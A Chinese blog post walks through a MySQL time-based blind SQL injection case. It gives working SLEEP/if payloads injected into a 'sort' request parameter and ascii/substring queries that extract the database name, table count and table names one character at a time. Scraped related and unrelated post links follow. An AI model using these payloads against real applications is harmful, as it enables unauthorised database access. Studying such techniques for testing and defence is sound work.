通过Burpsuite结合sqlmap发现如下接口存在时间盲注

select * from information_schema.tables where id=1 union select sleep(if(length(database())=5,2,0)),2,3;

select database()

select length(database())
SELECT * FROM (SELECT(SLEEP(5)))PQfL
SELECT * FROM (SELECT(SLEEP(5)))a
SELECT(SLEEP(5))

page=1&rows=15&sort=CREATE_DATE AND if(length(database())=11,sleep(1),1)&order=desc
page=1&rows=15&sort=CREATE_DATE AND if((select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc

page=1&rows=15&sort=CREATE_DATE AND (if(select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc

if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(1),1)

page=1&rows=15&sort=CREATE_DATE AND (SELECT * FROM (SELECT(SLEEP(1)))PQfL)&order=desc

手工注入案例:

首先分析sqlmap的跑出来的用例:

下面开始构造测试案例的sql:

先分析一下if的作用

如果length(database())=数据库表名长度 ,则执行sleep(1),否则执行1

所以通过尝试猜解,得出数据库名的长度

if(length(database())=11,sleep(1),1)

原始案例执行sleep(1),延时并执行成功

所以以sleep(1)作为基准测试

猜测数据库名的长度:

当尝试数据库名长度为9的时候,执行的sleep(1)

当尝试数据库名长度为10的时候,执行

当尝试数据库名长度为11的时候,执行的sleep(1)

猜测当前数据库里有多少张表

当尝试数据库中表个数为248的时候,执行的sleep(1)

当尝试数据库中表个数为250的时候,执行的sleep(1)

猜表名:

先理解mysql中的几个特殊函数:

MySQL字符串函数substring:字符串截取

MySQL 字符串截取函数:left(), right(), substring(), substring_index()。

还有 mid(), substr()。其中,mid(), substr() 等价于 substring() 函数,substring() 的功能非常强大和灵活。

if(select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(1),1);

select substring('example.com', -4, 2)
select substring('example.com', 4, 1);
select substring('example.com', 1, 1);
select ascii(substring('example.com', 4, 1));

select distinct concat(table_name) from information_schema.tables where table_schema=database()
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1  //查询第1张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 1,1  //查询第2张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 2,1  //查询第3张表名

select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1) //第1张表的第1个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2,1) //第1张表的第2个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3,1) //第1张表的第3个字符

select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)) //查询字符的ascii编码

page=1&rows=15&sort=CREATE_DATE AND if(ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=96,sleep(1),1)&order=desc

当猜测第一个字符串为96时,

不报错,说明执行sleep(1)

当为97时

此时,执行的是1

当为98时

97的asccii编码对应的为a,其他的依次类推

猜测数据库表名的第一个字符:

所以第一个字符的asccii编码为115  即s(snsdb_test)

一般猜解的方法:

数据库长度--逐个字符猜解数据库名--数据库中表的个数--表名长度--表名-列名和字段

http://blog.csdn.net/qq_32400847/article/details/53699714 

参考:

http://blog.csdn.net/qq_32400847/article/details/53699714

http://www.cnblogs.com/ichunqiu/p/5864833.html

https://www.waitalone.cn/mysql-injection-summary.html

http://www.cnblogs.com/0x03/p/7451292.html

http://blog.csdn.net/jinzhichaoshuiping/article/details/45568883

http://www.cnblogs.com/dongchi/p/5079138.html

http://blog.csdn.net/qq_27446553/article/details/51794326

mysql时间延时注入案例的更多相关文章

  1. mysql 延时注入新思路

    转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...

  2. Sqli-LABS通关笔录-8[延时注入]

    通过该关卡我学习到了 1.if语句的三目运算符(其实说白了也就是php里的三位运算符) 2.sleep函数 3.substring函数(其实和substr一样) 4.limit的灵活运用 5. Sta ...

  3. MySQL 数据库增量数据恢复案例

    MySQL 数据库增量数据恢复案例 一.场景概述 MySQL数据库每日零点自动全备 某天上午10点,小明莫名其妙地drop了一个数据库 我们需要通过全备的数据文件,以及增量的binlog文件进行数据恢 ...

  4. Mysql存储过程知识,案例--mysql存储过程基本函数

    Mysql存储过程知识,案例: create procedure delete_setting(in p_settingid integer) begin delete from setting wh ...

  5. sqli-labs:7,导入导出;8-10 延时注入

    1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...

  6. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  7. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  8. mysql 带外注入

    带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...

  9. MySQL时间类型及获取、展示处理

    MySQL时间格式 mysql所支持的日期时间类型有:DATETIME. TIMESTAMP.DATE.TIME.YEAR. 几种类型比较如下: 日期时间类型 占用空间 日期格式 最小值 最大值 零值 ...

随机推荐

  1. 使用Vagrant搭建本地python开发环境

    使用Vagrant搭建本地python开发环境 关于vagrant:Vagrant是一个基于Ruby的工具,用于创建和部署虚拟化开发环境,它使用Oracle的开源VirtualBox虚拟化系统也可以使 ...

  2. java的小数比较反例

    double num = 0.3; System.out.println(num); System.out.println(num - 0.2); System.out.println(num - 0 ...

  3. 【原创】Linux基础之测试域名IP端口连通性

    一 测试域名是否可达 1 ping # ping www.baidu.comPING www.a.shifen.com (220.181.112.244) 56(84) bytes of data.6 ...

  4. Dnsmasq加速本地DNS请求

    文章目录 Dnsmasq安装 Dnsmasq配置 Dnsmasq启动 Dnsmasq使用 Dnsmasq小结   默认的情况下,我们平时上网用的本地DNS服务器都是使用电信或者联通的,但是这样也导致了 ...

  5. windows.open()

       引:Window_Open详解一.window.open()支持环境:JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+ 二.基本语法:window.op ...

  6. iOS 上线过程中出现的问题总结

    1:  因为使用后台播放音乐,在 info 里面添加 required background modes  的 key, 如果你的代码里面没有后套播放音频的功能, 不要添加 required back ...

  7. JavaWEB后端支付银联,支付宝,微信对接

    注:本文来源于:<  JavaWEB后端支付银联,支付宝,微信对接  > JavaWEB后端支付银联,支付宝,微信对接 标签(空格分隔): java 项目概述 最近项目需要后端打通支付,所 ...

  8. centos 7.3 设置静态IP

    注:本文来源:张亮博客  的 <centos 7.3 设置静态IP或ping 报name or service not known> 首先把虚拟机配置为桥接模式,然后开启再你打算修改虚拟机 ...

  9. LeetCode(81): 搜索旋转排序数组 II

    Medium! 题目描述: 假设按照升序排序的数组在预先未知的某个点上进行了旋转. ( 例如,数组 [0,0,1,2,2,5,6] 可能变为 [2,5,6,0,0,1,2] ). 编写一个函数来判断给 ...

  10. php可变数量的参数

    PHP 在用户自定义函数中支持可变数量的参数列表.在 PHP 5.6 及以上的版本中,由 ... 语法实现:在 PHP 5.5 及更早版本中,使用函数 func_num_args(),func_get ...